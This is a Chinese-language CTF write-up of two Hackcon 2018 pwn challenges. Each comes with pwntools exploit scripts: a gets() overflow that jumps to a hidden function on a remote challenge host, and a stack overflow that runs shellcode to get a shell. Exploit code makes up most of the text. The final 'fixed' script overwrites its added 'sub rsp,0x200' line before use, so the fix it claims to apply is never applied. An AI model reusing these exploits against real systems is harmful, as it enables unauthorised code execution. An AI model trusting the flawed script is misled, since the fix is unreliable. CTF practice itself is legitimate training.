Hackcon 2018 兩道題的wp
首先是第一題vuln是一道簽到題

看了發現gets函式可以溢位
然後在看看有什麼可用的函式發現了一個callmemaybe的函式跳到那個函式就可以了
可以看見溢位跳到這個函式就可以了,具體的溢位點的尋找可以利用gdb-peda裡的pattern create 數量
然後輸入後pattern offset 地址就可以找到溢位點的偏移量了。
from pwn import *
#p=process('./vuln.dms')
p = remote('139.59.30.165',8700)
#gdb.attach(p,"b main")
payload = 'a'* 40 + p64(0x400766)
p.recvuntil('>>>')
p.sendline(payload)
p.interactive()
第二題是pwn的第四題:She Sells Sea Shells
這道題思路也很簡單先看看main函式
可以發現這裡又是一個簡單的gets的溢位,查了一下保護髮現沒有開任何保護,然後可以看見printf幫我們打印出了v4的地址而v4的地址剛好是我們輸入的在棧上的地址,所以我們可以構造ret2shell
首先放上我第一次寫的指令碼其中有個坑
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p = process('./bof.dms')
shellcode = shellcraft.sh()
shellcode = asm(shellcode)
address = p.recv()
gdb.attach(p)
payload = shellcode.ljust(72,'a')+p64(int(address[60:],16))
p.sendline(payload)
p.interactive()
這個指令碼在執行的時候會發現shellcode執行的時候會停住,其實是因為有push而rip在棧上所以可能會出現一些棧不夠用的情況於是我們就吧棧指標放的大一點加一句話shellcode = ‘sub rsp ,0x200\n’
這樣就可以了
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p = process('./bof.dms')
shellcode = 'sub rsp,0x200\n'
shellcode = shellcraft.sh()
shellcode = asm(shellcode)
address = p.recv()
print address[60:]
gdb.attach(p)
payload = shellcode.ljust(72,'a')+p64(int(address[60:],16))
p.sendline(payload)
p.interactive()